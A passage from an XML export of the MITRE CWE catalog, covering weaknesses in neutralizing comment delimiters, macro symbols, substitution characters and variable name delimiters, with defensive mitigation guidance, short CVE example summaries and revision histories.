					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that comments will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0001</Observed_Example_Reference>
					          <Observed_Example_Description>Mail client command execution due to improperly
						terminated comment in address list.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0162</Observed_Example_Reference>
					          <Observed_Example_Description>MIE. RFC822 comment fields may be processed as
						other fields by clients.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1686</Observed_Example_Reference>
					          <Observed_Example_Description>Well-placed comment bypasses security
						warning.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1909</Observed_Example_Reference>
					          <Observed_Example_Description>Information hiding using a manipulation involving
						injection of comment code into product. Note: these vulnerabilities are
						likely vulnerable to more general XSS problems, although a regexp might
						allow "&gt;!--" while denying most other
						tags.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1969</Observed_Example_Reference>
					          <Observed_Example_Description>Information hiding using a manipulation involving
						injection of comment code into product. Note: these vulnerabilities are
						likely vulnerable to more general XSS problems, although a regexp might
						allow "&lt;!--" while denying most other
						tags.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Comment Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Comment
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Comment
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize Comment
						Element</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Comment Delimiters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="152" Name="Improper Neutralization of Macro Symbols" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as macro symbols when they are sent to a downstream
					component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that macro symbols will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0770</Observed_Example_Reference>
					          <Observed_Example_Description>Server trusts client to expand macros, allows
						macro characters to be expanded to trigger resultant information
						exposure.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2018</Observed_Example_Reference>
					          <Observed_Example_Description>Attacker can obtain sensitive information from a
						database by using a comment containing a macro, which inserts the data
						during expansion.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Macro Symbol</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Macro
						Symbol</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove Macro
						Symbol</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize Macro
						Symbol</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Macro Symbols</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="153" Name="Improper Neutralization of Substitution Characters" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as substitution characters when they are sent to a downstream
					component.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that substitution characters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0770</Observed_Example_Reference>
					          <Observed_Example_Description>Server trusts client to expand macros, allows
						macro characters to be expanded to trigger resultant information
						exposure.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Substitution Character</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Substitution
						Character</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Failure to Remove
						Substitution Character</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Sanitize
						Substitution Character</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-04-05">Improper Sanitization of
						Substitution Characters</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="154" Name="Improper Neutralization of Variable Name Delimiters" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not neutralize or incorrectly neutralizes special elements that could be
					interpreted as variable name delimiters when they are sent to a downstream
					component.</Description_Summary>
				        <Extended_Description>
					          <Text>As data is parsed, an injected delimiter may cause the process to take
						unexpected actions that result in an attack. Example: "$" for an environment
						variable.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>138</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Developers should anticipate that variable name delimiters will be
							injected/removed/manipulated in the input vectors of their software
							system. Use an appropriate combination of black lists and white lists to
							ensure only valid, expected and appropriate input is processed by the
							system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-28">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>While it is risky to use dynamically-generated query strings, code, or
							commands that mix control and data together, sometimes it may be
							unavoidable. Properly quote arguments and escape any special characters
							within those arguments. The most conservative approach is to escape or
							filter all characters that do not pass an extremely strict whitelist
							(such as everything that is not alphanumeric or white space). If some
							special characters are still needed, such as white space, wrap each
							argument in quotes after the escaping/filtering step. Be careful of
							argument injection (CWE-88).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0129</Observed_Example_Reference>
					          <Observed_Example_Description>"%" variable is expanded by wildcard function into
						disallowed commands.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0770</Observed_Example_Reference>
					          <Observed_Example_Description>Server trusts client to expand macros, allows
						macro characters to be expanded to trigger resultant information
						exposure.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Variable Name Delimiter</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
